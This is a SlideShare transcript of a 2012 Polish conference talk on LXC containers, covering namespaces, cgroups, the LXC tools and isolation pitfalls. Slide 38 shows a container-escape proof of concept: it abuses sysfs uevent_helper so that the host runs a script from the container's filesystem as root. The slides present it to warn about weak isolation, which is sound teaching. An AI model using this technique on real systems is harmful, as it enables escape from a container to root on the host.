Your SlideShare is downloading. ×
LXC - kontener pingwinów
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Saving this for later?

Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime - even offline.

Text the download link to your phone

Standard text messaging rates apply

LXC - kontener pingwinów

7,259
views

Published on

Slajdy z prezentacji o LXC z Dni Wolnego Oprogramowania w Bielsku-Białej

Slajdy z prezentacji o LXC z Dni Wolnego Oprogramowania w Bielsku-Białej

Published in: Technology

0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
7,259
On Slideshare
0
From Embeds
0
Number of Embeds
14
Actions
Shares
0
Downloads
4
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. LXC – kontener pingwinów Grzegorz Nosek, MegiTeamGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 2. Wirtualizacja w kilku słowach„Mam jeden komputer a chcę kilka”• taniej niż kilka maszyn• lepsze wykorzystanie sprzętu• lepsza izolacja niż wszystko w jednym systemie Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 3. Wirtualizacja w kilku słowachGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 4. Wirtualizacja w kilku słowachGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 5. Wirtualizacja w kilku słowachGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 6. LXCLinuX Containers• Namespaces – wirtualizacja• CGroups – przydzielanie zasobów• LXC – narzędzia userspaceowe Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 7. Namespaces● drzewiasta struktura, osobna dla każdego rodzaju namespaceów● każdy proces ma przypisany zestaw ● init_pid_ns, init_net_ns itp.● manipulacje wymagają CAP_SYS_ADMIN Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 8. Namespaces● clone() ● nowy proces, nowe namespacey● unshare() (od 2.6.16) ● ten sam proces, nowe namespacey● setns() (od 3.2) ● ten sam proces, istniejące namespacey Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 9. Namespaces● FS namespace (CLONE_NEWNS) ● własne drzewo katalogów ● pam_namespace (np. prywatny /tmp) ● w połączeniu z pivot_root lepszy chroot() niż chroot() Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 10. Namespaces● PID namespace (CLONE_NEWPID) ● własne ID procesów ● własny init (pid=1) ● więcej niż jeden pid na proces – pid w każdym pidns od głównego do obecnego ● strace ich nie lubi Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 11. Namespaces● user namespace (CLONE_NEWUSER) ● uid1 == uid2? ● capabilities – ptrace, kill, itp. ● VFS Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 12. Namespaces● net namespace (CLONE_NEWNET) ● własne interfejsy sieciowe ● interfejsy fizyczne ● macvlan ● veth Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 13. Namespaces● IPC namespace (CLONE_NEWIPC) ● własna pamięć dzielona SYSV● UTS namespace (CLONE_NEWUTS) ● własna nazwa hosta Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 14. CGroups● cgroupfs ● mkdir, rmdir ● echo $$ > .../tasks – w dowolnym momencie Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 15. CGroups● podsystemy montowane wspólnie lub osobno● maksymalnie jedna dla każdego podsystemu● zagnieżdżone grupy dziedziczą ograniczenia grup nadrzędnych Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 16. CGroups● cpuset ● podzbiór CPU dla procesów z danej grupy ● „dedykowany rdzeń dla MySQLa”● cpuacct ● rozliczanie czasu CPU Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 17. CGroups● cpu ● sprawiedliwy przydział czasu procesora – niedawny „magic patch” ● limitowanie czasu procesora – „CFS bandwidth control” – ograniczenie przydzielonego czasu procesora nawet jeżeli są wolne zasoby Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 18. CGroupsGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 19. CGroups● memory ● ograniczenie pamięci fizycznej ● ograniczenie przestrzeni wymiany ● ograniczenie pamięci jądra (w drodze) ● caveat emptor – bardzo wrażliwy obszar jądra – nisko latające OOM killery Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 20. CGroups● net_cls ● oznacza wychodzący ruch sieciowy klasami tc Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 21. CGroups● devices ● ogranicza dostęp do poszczególnych urządzeń – osobno odczyt, zapis, mknod Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 22. CGroups● blkio ● rozliczanie i limitowanie I/O do dysków ● proporcjonalne (max. n% całego I/O) ● stałe (max. n IOPS, max. n bajtów/sek.) ● osobno dla każdego urządzenia Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 23. CGroups● freezer ● podobny efekt do kill -STOP całej grupy ● jeden z klocków koniecznych do checkpoint- restore i migracji na żywo Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 24. CGroups● perf_event ● perf: monitorowanie wydajności całego systemu ● ograniczenie do wskazanej grupy ● hic sunt leones Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 25. LXC● zestaw narzędzi integrujących namespacey i cgroups● szablony dla popularnych dystrybucji● odpowiednik vzctl i util-vserver Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 26. LXC● lxc-create -n testlxc -t debian ● lxc-debian ● lxc-fedora ● lxc-ubuntu ● (...) ● lxc-busybox ● lxc-sshd Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 27. Kolorowe klocki raz jeszczeGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 28. LXC● lxc-sshd ● /dev, /lib, /bin, /usr, /sbin dzielone z gospodarzem ● reszta niewidoczna z poziomu kontenera Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 29. LXC● dla LXC wirtualizacja sieci jest opcjonalna, pozostałe są obowiązkowe● nic nie stoi na przeszkodzie, aby samemu poskładać namespacey Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 30. LXC● lxc-unshare ● najbardziej bezpośrednie narzędzie ● tworzy namespacey i tyle● pam_namespace ● tylko FS namespace● systemd ● PrivateNetwork=yes ● InaccessibleDirectories itp. Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 31. Pułapki na optymistów● niekompletna izolacja ● sysfs ● capabilities (SYS_REBOOT) ● LSM (SELinux, Smack) ● quoty ● urządzenia (devpts zamiast /dev/tty*) Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 32. Pułapki na optymistówroot@precise1:~# lxc-unshare -s PID /bin/bashroot@precise1:~# echo $$1root@precise1:~# readlink /proc/$$/exe Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 33. Pułapki na optymistówroot@precise1:~# lxc-unshare -s PID /bin/bashroot@precise1:~# echo $$1root@precise1:~# readlink /proc/$$/exe/sbin/init Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 34. Pułapki na optymistówroot@precise1:~# lxc-unshare -s PID|MOUNT/bin/bashroot@precise1:~# umount /proc && mount /procroot@precise1:~# readlink /proc/$$/exe/bin/bash Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 35. Pułapki na optymistówroot@precise1:~# mkdir /sys/fs/cgroup/blkio/slowroot@precise1:~# echo $$ > /sys/fs/cgroup/blkio/slow/tasksroot@precise1:~# echo 253:0 1000000 >/sys/fs/cgroup/blkio/slow/blkio.throttle.write_bps_deviceroot@precise1:~# dd if=/dev/zero of=zero bs=1M count=500 && rm zero500+0 records in500+0 records out524288000 bytes (524 MB) copied, 6.12093 s, 85.7 MB/s Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 36. Pułapki na optymistówroot@precise1:~# dd if=/dev/zero of=zero bs=1Mcount=500 oflag=sync && rm zero500+0 records in500+0 records out524288000 bytes (524 MB) copied, 528.348 s, 992 kB/s Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 37. Pułapki na optymistówroot@precise1:~# echo 253:0 1000000 >/sys/fs/cgroup/blkio/blkio.throttle.write_bps_deviceroot@precise1:~# dd if=/dev/zero of=zero bs=1Mcount=500 && rm zero500+0 records in500+0 records out524288000 bytes (524 MB) copied, 377.854 s, 1.4 MB/s Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 38. Pułapki na optymistów# http://blog.bofh.it/debian/id_413lxc$ cat <<END > /tmp/evil-helper#!/bin/shecho hi! >> /tmp/evil-helper.logENDlxc$ chmod +x /tmp/evil-helperlxc# mkdir /syslxc# mount -t sysfs sysfs /syslxc# echo /var/lib/lxc/test/rootfs/tmp/evil-helper >/sys/kernel/uevent_helperlxc# echo change > /sys/class/mem/null/uevent Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 39. Pułapki na optymistów● http://bit.ly/ytouBe – dyskusja o bezpieczeństwie LXC● https://wiki.ubuntu.com/LxcSecurity Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 40. Porównanie OpenVZ Linux-VServer LXCGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 41. Thats all, folks! Pytania?Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012